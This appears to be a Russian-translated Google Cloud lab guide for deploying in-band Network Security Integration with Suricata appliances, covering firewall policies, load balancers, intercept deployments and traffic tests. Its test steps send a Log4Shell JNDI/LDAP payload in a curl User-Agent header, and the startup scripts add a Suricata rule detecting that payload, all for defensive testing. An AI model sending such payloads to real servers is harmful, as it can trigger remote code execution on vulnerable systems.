1. Введение
Интеграция сетевой безопасности
Интеграция сетевой безопасности (NSI) обеспечивает гибкость для повышения уровня сетевой безопасности ваших рабочих нагрузок. Вы можете использовать специализированное устройство от стороннего независимого поставщика программного обеспечения (ISV) или механизм глубокого анализа пакетов (DPI) для проверки полезной нагрузки. Для обеспечения бесшовной интеграции с этими сторонними устройствами Google Cloud упрощает развертывание устройств без каких-либо изменений в сети или маршрутизации.
Google Cloud предлагает два варианта интеграции сетевой безопасности — внеполосную и внутриполосную. В этом практическом занятии мы рассмотрим шаги по развертыванию внутриполосной интеграции сетевой безопасности.
Интеграция внутриполосной сетевой безопасности
Интеграция сетевой безопасности обеспечивает внутриполосную интеграцию с использованием технологии перехвата пакетов, которая позволяет размещать сетевые устройства сторонних производителей на пути сетевого трафика для прозрачного анализа рабочих нагрузок Google Cloud. В этом процессе используется технология Generic Network Virtualization Encapsulation (GENEVE) для безопасной передачи пакетов на устройство без изменения исходных IP-адресов источника и назначения.
Интеграция внутриполосных сетей предлагает сервисно-ориентированный подход к развертыванию и использованию сторонних сетевых устройств в режиме «перехвата трафика». В качестве производителя услуг вы можете опубликовать масштабируемый набор сторонних сетевых устройств в качестве точки перехвата. В качестве потребителя услуг вы можете использовать политики и правила Cloud Next Generation Firewall для точного отбора трафика, который будет прозрачно перенаправляться на локальную точку перехвата для проверки.

Рисунок 1. Архитектура развертывания сервиса внутриполосной интеграции на высоком уровне.
Для получения дополнительной информации об интеграции NSI в полосе частот см. обзор интеграции в полосе частот.
Производитель внутриполосных услуг
Производители услуг — это места, где развертываются и управляются сторонние устройства. Управление может осуществляться сотрудником вашей организации (командой безопасности и т. д.) или внешним поставщиком. Производители регистрируют свои виртуальные машины, которые могут быть сторонними устройствами, в качестве бэкэндов для внутреннего балансировщика нагрузки Passthrough Network Load Balancer в своей сети VPC. Эти устройства проверяют сетевой трафик, перенаправляемый на них. Затем производители услуг создают развертывания Intercept — зональный ресурс, указывающий на правило пересылки внутреннего балансировщика нагрузки Passthrough Network Load Balancer.
Перехватывающее развертывание — это зональный ресурс, представляющий собой службу проверки производителя для конкретной зоны. Производители создают перехватывающие развертывания для каждой зоны, в которой они развернули свои виртуальные машины.
Группа развертывания перехвата — это глобальный ресурс, ограниченный рамками проекта, который позволяет потребителям подключаться к услугам проверки производителя. Производители создают группу развертывания перехвата для объединения нескольких зональных развертываний перехвата. Производители используют IAM для управления тем, какие потребители могут подключаться к их группе развертывания.
Для получения дополнительной информации см. разделы «Обзор групп развертывания Intercept» и «Обзор развертываний Intercept» .
Потребитель внутриполосных услуг
Потребители услуг используют сервисы проверки, предлагаемые производителями. Потребители указывают, какие VPC они хотят проверить и от какого производителя. Для этого потребители создают группу конечных точек перехвата — глобальный ресурс, представляющий их сторону взаимоотношений производитель-потребитель, — и связывают группу конечных точек перехвата с группой развертывания перехвата производителя.
Для связывания группы перехватывающих конечных точек с VPC, из которых они хотят проверять трафик, потребители создают связь группы перехватывающих конечных точек. Для выбора трафика, который должен быть отправлен производителю для проверки, потребители создают и используют политики сетевого брандмауэра. Потребители создают группу профилей безопасности, содержащую профиль безопасности, который ссылается на их группу перехватывающих конечных точек. Затем потребители создают правило брандмауэра для перенаправления трафика, соответствующего определенным критериям, на устройства производителя.
Несмотря на то, что группа конечных точек перехвата (IEG) является ресурсом уровня проекта, IEG и связанная с ней группа не обязательно должны находиться в одном проекте. На IEG может ссылаться связанная с ней группа из других проектов вашей организации. Она представляет собой сторону потребителя в отношениях «производитель-потребитель». Потребители создают группу конечных точек перехвата для использования сервиса проверки производителя. Каждая группа конечных точек перехвата на стороне потребителя связана с одной группой развертывания перехвата на стороне производителя.
Для получения более подробной информации см. раздел «Обзор групп и связей конечных точек перехвата» .
Потребители должны создать правило политики брандмауэра для перенаправления трафика в свою группу перехватывающих конечных точек. Потребители могут указать критерии соответствия в правиле политики брандмауэра, что позволяет им определить, какой трафик должен проверяться устройствами производителя.
Потребители создают пользовательский профиль безопасности перехвата, чтобы указать, какая группа конечных точек перехвата должна использоваться для проверки трафика.
Потребители создают группу профилей безопасности для определения набора функций проверки безопасности, которые должны применяться к определенному подмножеству трафика. Группа профилей безопасности содержит один пользовательский профиль безопасности перехвата.
Что вы построите

Рисунок 2. Архитектура развертывания высокого уровня для данной практической работы.
Для упрощения этого практического занятия вы будете использовать один проект и создадите две сети VPC, а также будете управлять рядом сетевых ресурсов и ресурсов безопасности. В этом занятии будет продемонстрировано, как развернуть интеграцию сетевых служб в полосе пропускания с помощью стороннего устройства для прозрачного внедрения мер безопасности.
Потоки, подлежащие проверке, будут выбраны с использованием параметров сопоставления Cloud Firewall, включающих кортеж из 5 элементов (исходный IP-адрес, целевой IP-адрес, протокол, исходный порт, целевой порт). Для упрощения этой лабораторной работы вы будете проверять весь исходящий трафик на TCP-порту 80.
Производитель разрешит входящий трафик из IP-адреса шлюза подсети VPC производителя (10.0.0.1/32) для UDP-пакетов с портом назначения 6081 — общеизвестным портом для GENEVE.
В конечном итоге набор правил политики сетевого брандмауэра будет выглядеть примерно так, как показано в таблице ниже:
Политика сети производителей:
Приоритет | Направление | Протокол | Цель | Источник | Место назначения | Порт назначения | Действие |
100 | Вход | Все | Все | Проверки здоровья | Любой | Любой | Позволять |
200 | Вход | Все | Все | IAP | Любой | Любой | Позволять |
300 | Вход | УДП | Все | 10.0.0.1/32 | Любой | 6081 | Позволять |
Политика потребительской сети:
Приоритет | Направление | Протокол | Цель | Источник | Место назначения | Порт назначения | Действие |
200 | Вход | TCP | Все | IAP | Любой | 22 | Позволять |
800 | Выход | TCP | Все | Любой | Любой | 80 | Перехват |
Что вы узнаете
- Как развернуть интеграцию сетевой безопасности в полосе пропускания
Что вам понадобится
- Организация и проект Google Cloud
- Соответствующие разрешения IAM
- Знание развертывания экземпляров и настройки сетевых компонентов.
- Знание настроек межсетевого экрана на основе сетевых политик.
2. Прежде чем начать
Роли и разрешения IAM
Для выполнения практического задания по интеграции сетевой безопасности в полосу пропускания (NSI) вам потребуются следующие роли IAM:
- Администратор вычислительной сети (
roles/compute.networkAdmin): необходим для создания и управления сетями VPC, подсетями, облачными маршрутизаторами, шлюзами NAT и серверными службами балансировки нагрузки. - Администратор безопасности вычислительных ресурсов (
roles/compute.securityAdmin): необходим для создания, настройки и связывания глобальных политик и правил сетевого брандмауэра. - Администратор вычислительного экземпляра (
roles/compute.instanceAdmin.v1): необходим для развертывания, подключения по SSH и, в конечном итоге, удаления виртуальных машин Suricata и виртуальных машин для тестирования. - Администратор развертывания перехвата (
roles/networksecurity.interceptDeploymentAdmin): Используется производителем для создания и управления зональными развертываниями перехвата и глобальной группой развертывания. - Администратор перехватывающих конечных точек (
roles/networksecurity.interceptEndpointAdmin): используется пользователем для создания групп перехватывающих конечных точек и связывания их со своей сетью VPC. - Пользователь для перехвата развертывания (
roles/networksecurity.interceptDeploymentUser): необходим в проекте производителя для предоставления потребителю разрешения на подключение к группе развертывания производителя. - Администратор профилей безопасности (
roles/networksecurity.securityProfileAdmin): Требуется на уровне организации для создания и управления пользовательскими профилями безопасности перехвата и группами профилей безопасности. - Администратор использования сервиса (
roles/serviceusage.serviceUsageAdmin): необходим для включения APInetworksecurity.googleapis.comиcompute.googleapis.comнеобходимых для работы функций NSI. - Программа просмотра проектов (
roles/viewer): необходима для получения информации о конфигурации проекта и организационной принадлежности переменных среды, используемых в лаборатории.
API Google Cloud
Пожалуйста, убедитесь, что необходимые API Google Cloud включены в вашем проекте.
Включите необходимые API и выполните следующие команды gcloud в Cloud Shell.
gcloud services enable compute.googleapis.com \ networksecurity.googleapis.com \ cloudresourcemanager.googleapis.com
Создание/обновление переменных
В этом практическом задании используются переменные `$variables` для упрощения настройки gcloud в Cloud Shell.
В оболочке Cloud Shell выполните следующие команды, заменив информацию в скобках по мере необходимости:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zonea=[first-zone from $region] export zoneb=[second-zone from $region] export zonec=[third-zone from $region]
3. Действия производителя
В этом разделе будет рассмотрена сторона развертывания для производителя. Это включает развертывание VPC, виртуального сетевого устройства стороннего производителя и всех соответствующих компонентов для интеграции сетевой безопасности.
Компоненты VPC и Cloud NAT
- Создайте VPC и подсеть:
gcloud compute networks create producer-vpc --subnet-mode=custom gcloud compute networks subnets create producer-$region-subnet \ --range=10.0.0.0/24 --network=producer-vpc --region=$region
- Получите IP-адрес шлюза подсети для использования в правилах брандмауэра:
export gatewayip=$(gcloud compute networks subnets list --project=$project_id --network=producer-vpc --format=json | jq -r '.[0].gatewayAddress')
- Создайте политику и правила межсетевого экрана для VPC производителя. Эти правила межсетевого экрана разрешат входящий трафик для проверок работоспособности, IAP и трафика от NSI:
gcloud compute network-firewall-policies create producer-fwpolicy \
--global
gcloud compute network-firewall-policies rules create 100 \
--description="allow http traffic from ilb health-check ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80 \
--direction=INGRESS \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
gcloud compute network-firewall-policies rules create 300 \
--description="allow GENEVE UDP:6081 packets from gateway" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=udp:6081 \
--direction=INGRESS \
--src-ip-ranges=$gatewayip
- Свяжите VPC производителя с политикой сетевого брандмауэра:
gcloud compute network-firewall-policies associations create \
--firewall-policy producer-fwpolicy \
--network producer-vpc \
--name producer-fwpolicy-association \
--global-firewall-policy
- Разверните Cloud Router и Cloud NAT для сторонних сетевых виртуальных устройств (NVA), чтобы они могли загружать необходимые пакеты и обновления:
gcloud compute addresses create producer-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$region-cloudnatip --format="value(address)") gcloud compute routers create producer-$region-cr \ --region=$region --network=producer-vpc gcloud compute routers nats create producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=producer-$region-cloudnatip
Виртуальные машины сторонних производителей
В этой лабораторной работе вы развернете Suricata, службу обнаружения угроз с открытым исходным кодом. Команда содержит скрипт запуска, который установит и настроит Suricata. Также имеются iptables, которые выполняют трансляцию сетевых адресов источника (SNAT) и трансляцию сетевых адресов назначения (DNAT) для обработки и ответа на пакеты GENEVE.
- Разверните стороннее сетевое виртуальное устройство (NVA) в вашей первой зоне.
gcloud compute instances create suricata-$zonea \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.3 \
--zone $zonea \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
- Разверните стороннее сетевое виртуальное устройство (NVA) во второй зоне:
gcloud compute instances create suricata-$zoneb \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.4 \
--zone $zoneb \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
Компоненты балансировки нагрузки производителя
- Создайте универсальную проверку работоспособности, используемую для проверки доступности вашего стороннего NVA:
gcloud compute health-checks create http nva-hc
- Создайте для каждой зоны группу неуправляемых экземпляров:
gcloud compute instance-groups unmanaged create producer-$zonea-uig \ --zone $zonea gcloud compute instance-groups unmanaged create producer-$zoneb-uig \ --zone $zoneb
- Добавьте свои экземпляры в группы экземпляров:
gcloud compute instance-groups unmanaged add-instances producer-$zonea-uig --instances=suricata-$zonea --zone=$zonea gcloud compute instance-groups unmanaged add-instances producer-$zoneb-uig --instances=suricata-$zoneb --zone=$zoneb
Убедитесь, что ваши группы экземпляров содержат ваши экземпляры, выполнив следующие команды:
gcloud compute instance-groups unmanaged list-instances producer-$zonea-uig --zone=$zonea gcloud compute instance-groups unmanaged list-instances producer-$zoneb-uig --zone=$zoneb
Пример выходных данных:
NAME: suricata-$zonea STATUS: RUNNING NAME: suricata-$zoneb STATUS: RUNNING
- Создайте внутренний UDP-сервис:
gcloud compute backend-services create producer-bes \ --protocol=UDP \ --region=projects/$project_id/regions/$region \ --health-checks=projects/$project_id/global/healthChecks/nva-hc \ --load-balancing-scheme=INTERNAL
- Добавьте обе группы экземпляров в серверную службу:
gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zonea/instanceGroups/producer-$zonea-uig --region=$region gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zoneb/instanceGroups/producer-$zoneb-uig --region=$region
- Зарезервируйте внутренние IP-адреса для правил переадресации. Для каждого варианта перехвата требуется уникальное правило переадресации:
gcloud compute addresses create producer-fr-$zonea-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.11
gcloud compute addresses create producer-fr-$zoneb-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.12
- Создайте правило переадресации для каждой зоны. Это необходимо, поскольку для развертывания перехвата требуется уникальное правило переадресации:
gcloud compute forwarding-rules create producer-fr-$zonea \ --ip-protocol=UDP --address=10.0.0.11 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet gcloud compute forwarding-rules create producer-fr-$zoneb \ --ip-protocol=UDP --address=10.0.0.12 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet
Компоненты интеграции сетевой безопасности
- Создайте группу развертывания перехвата:
gcloud network-security intercept-deployment-groups create producer-nsi-deployment-group \
--location global \
--no-async \
--network producer-vpc
Убедитесь, что группа развертывания успешно создана:
gcloud network-security intercept-deployment-groups describe producer-nsi-deployment-group \
--location global
Пример выходных данных:
createTime: '2025-01-16T06:13:48.075183628Z' name: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group network: projects/$project_id/global/networks/producer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:13:50.556947138Z'
- Создайте среду перехвата для каждой зоны:
gcloud network-security intercept-deployments create nsi-deployment-$zonea \
--location $zonea \
--forwarding-rule producer-fr-$zonea \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
gcloud network-security intercept-deployments create nsi-deployment-$zoneb \
--location $zoneb \
--forwarding-rule producer-fr-$zoneb \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
Убедитесь, что развертывания перехвата успешно созданы:
gcloud network-security intercept-deployments describe nsi-deployment-$zonea \
--location $zonea
gcloud network-security intercept-deployments describe nsi-deployment-$zoneb \
--location $zoneb
Пример выходных данных:
createTime: '2025-01-16T06:27:08.834875130Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/$zonea/interceptDeployments/nsi-deployment-$zonea reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:14.401072601Z' createTime: '2025-01-16T06:33:47.798469786Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr-$zoneb interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/us-west1-b/interceptDeployments/nsi-deployment-$zoneb reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:25.258447474Z'
Поздравляем, вы завершили настройку на стороне производителя. Далее вам нужно будет настроить сторону потребителя для перехвата трафика и его прозрачной отправки сторонним устройствам для принудительного применения мер.
4. Действия потребителей
Хотя в этой лабораторной работе для простоты используются отдельные VPC в рамках одного проекта, в реальных условиях ресурсы производителя и потребителя могут находиться в разных проектах или даже в разных организациях.
Компоненты VPC и Cloud NAT
- Создайте VPC и подсеть:
gcloud compute networks create consumer-vpc --subnet-mode=custom gcloud compute networks subnets create consumer-$region-subnet \ --range=192.168.0.0/24 --network=consumer-vpc --region=$region
- Создайте облачный маршрутизатор и облачный NAT-шлюз:
gcloud compute addresses create consumer-$region-cloudnatip \
--region=$region
export cloudnatip=$(gcloud compute addresses list \
--filter=name:consumer-$region-cloudnatip \
--format="value(address)")
gcloud compute routers create consumer-$region-cr \
--region=$region \
--network=consumer-vpc
gcloud compute routers nats create consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region \
--nat-all-subnet-ip-ranges \
--nat-external-ip-pool=consumer-$region-cloudnatip
Группа и ассоциация конечных точек перехвата
- Создать группу конечных точек перехвата:
gcloud network-security intercept-endpoint-groups create nsi-endpoint-group \
--location global \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
Подтверждение успешного создания конечной точки:
gcloud network-security intercept-endpoint-groups describe nsi-endpoint-group \
--location global
Пример выходных данных:
createTime: '2025-01-16T06:37:10.620185836Z' interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group reconciling: false state: ACTIVE updateTime: '2025-01-16T06:37:22.707994466Z'
- Создайте ассоциацию группы конечных точек перехвата, указав VPC потребителя:
gcloud network-security intercept-endpoint-group-associations create nsi-endpoint-group-assoc \
--location global \
--network consumer-vpc \
--no-async \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
Проверить:
gcloud network-security intercept-endpoint-group-associations describe nsi-endpoint-group-assoc \
--location global
Пример выходных данных:
createTime: '2025-01-16T06:40:21.125202733Z' interceptEndpointGroup: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group locations: - location: $zonea state: ACTIVE - location: $zoneb state: ACTIVE name: projects/$project_id/locations/global/interceptEndpointGroupAssociations/nsi-endpoint-group-assoc network: projects/$project_id/global/networks/consumer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:40:56.085493855Z'
Профиль безопасности и группа профилей безопасности
Далее вы создадите пользовательский профиль безопасности для перехвата и прикрепите его к группе профилей безопасности. Профиль безопасности и группа профилей безопасности используются для перехвата пакетов от устройств сторонних производителей.
- Создайте пользовательский профиль безопасности для перехвата:
gcloud network-security security-profiles custom-intercept create nsi-intercept-profile \
--organization $org_id \
--location global \
--billing-project $project_id \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
Убедитесь, что профиль безопасности создан успешно:
gcloud network-security security-profiles custom-intercept \ describe nsi-intercept-profile \ --organization=$org_id \ --location=global
Пример выходных данных:
{
"createTime": "2025-01-16T20:25:21.545756039Z",
"customInterceptProfile": {
"interceptEndpointGroup": "projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group"
},
"etag": "vBAcVRe70k70rNJ3stzuCAvp_JbiPD2IWqcHKKAGlzw",
"name": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
"type": "CUSTOM_INTERCEPT",
"updateTime": "2025-01-16T20:25:24.101764860Z"
}
- Создайте группу профилей безопасности:
gcloud network-security security-profile-groups create nsi-spg \ --custom-intercept-profile=nsi-intercept-profile \ --organization=$org_id \ --project=$project_id \ --location=global
Убедитесь, что SPG успешно создан:
gcloud network-security security-profile-groups describe nsi-spg \
--organization $org_id \
--billing-project $project_id \
--location global
Пример выходных данных:
"createTime": "2025-01-16T20:31:23.545946850Z", "customInterceptProfile": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile", "etag": "bAE-90dCYvYfOKga4EfGXWRGuJXJpsiTEEgVsw3AmM0", "name": "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg", "updateTime": "2025-01-16T20:31:27.588870973Z"
Политика, правила и ассоциации брандмауэра
- Создайте глобальную политику сетевого брандмауэра:
gcloud compute network-firewall-policies create consumer-fwpolicy \
--global
- Создайте правила брандмауэра:
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=consumer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
- Создайте правило брандмауэра для перехвата всего исходящего трафика с использованием NSI и его прозрачной отправки на наше стороннее устройство. Это правило будет отправлять весь исходящий трафик TCP:80 для проверки.
gcloud compute network-firewall-policies rules create 800 \
--action APPLY_SECURITY_PROFILE_GROUP \
--firewall-policy consumer-fwpolicy \
--security-profile-group "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg" \
--direction EGRESS \
--layer4-configs tcp:80 \
--dest-ip-ranges 0.0.0.0/0 \
--global-firewall-policy
- Свяжите политику облачного брандмауэра с сетью VPC:
gcloud compute network-firewall-policies associations create \
--firewall-policy consumer-fwpolicy \
--network consumer-vpc \
--name consumer-fwpolicy-association \
--global-firewall-policy
Виртуальные машины потребителей
- Разверните виртуальные машины, используемые для проверки NSI. Вам нужно будет развернуть 3 виртуальные машины в 3 зонах. Напомним, что NSI включен только в 2 зонах, а в зоне $zonec — нет.
gcloud compute instances create consumer-$zonea \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.3 \ --no-address \ --zone $zonea gcloud compute instances create consumer-$zoneb \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.4 \ --no-address \ --zone $zoneb gcloud compute instances create consumer-$zonec \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.5 \ --no-address \ --zone $zonec
Тестирование интеграции сетевой безопасности в полосе пропускания
- Подключитесь к виртуальной машине по SSH в $zonea (consumer-$zonea). Отправьте тестовый трафик:
gcloud compute ssh consumer-$zonea \ --zone $zonea
- Отправьте тестовый трафик на http://www.google.com :
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
Ожидаемый результат:
200
Код состояния HTTP 200 указывает на то, что запрос клиента был успешно получен, понят и обработан сервером.
- Отправляйте запросы log4j, которые должны быть заблокированы Suricata, через NSI.
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
Ожидаемый результат:
000
Код ответа HTTP 000 — это неофициальный, нестандартный код, используемый некоторыми программами для обозначения отсутствия действительного кода состояния HTTP. Это, вероятно, означает, что запрос был заблокирован брандмауэром.
- Чтобы вернуться в Cloud Shell, завершите сеанс SSH.
exit
- Подключение по SSH к виртуальной машине в $zoneb (consumer-$zoneb)
gcloud compute ssh consumer-$zoneb \ --zone $zoneb
- Аналогичным образом отправьте тестовый трафик:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
Ожидаемый результат:
200
- Отправьте запрос в log4j:
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
Ожидаемый результат:
000
- Чтобы вернуться в Cloud Shell, завершите сеанс SSH.
exit
- Подключение по SSH к виртуальной машине в $zonec (consumer-$zonec)
gcloud compute ssh consumer-$zonec \ --zone $zonec
- Аналогичным образом отправьте тестовый трафик:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
Ожидаемый результат:
200
- Отправьте запрос в log4j:
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
Ожидаемый результат:
200
Обратите внимание, что этот запрос прошёл успешно. Это ожидаемо, поскольку вы не настроили NSI с параметром $zonec. Группа конечных точек перехвата имеет ассоциации только для $zonea и $zoneb.
- Чтобы вернуться в Cloud Shell, завершите сеанс SSH.
exit
Проверка подлинности Suricata подтвердила получение вредоносных запросов и их блокировку.
- Чтобы проверить логи, подключитесь по SSH к виртуальной машине Suricata в $zonea (suricata-$zonea):
gcloud compute ssh suricata-$zonea \ --zone $zonea
- Просмотрите журналы, отфильтровав их по типу атаки:
cat /var/log/suricata/eve.json | grep log4j
Возможно, вы увидите несколько записей. Если записей нет, проверьте журналы виртуальной машины Suricata в $zoneb. Пример вывода:
{"timestamp":"2025-01-22T19:54:37.347753+0000","flow_id":905867843361350,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.2","src_port":58740,"dest_ip":"74.125.197.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:46:12.023110+0000"}}
- Чтобы вернуться в Cloud Shell, завершите сеанс SSH.
exit
При желании вы можете подключиться к виртуальной машине Suricata по SSH через $zoneb (suricata-$zoneb) и проверить логи.
gcloud compute ssh suricata-$zoneb \ --zone $zoneb
Просмотрите журналы, отфильтровав их по типу атаки:
cat /var/log/suricata/eve.json | grep log4j
Пример выходных данных:
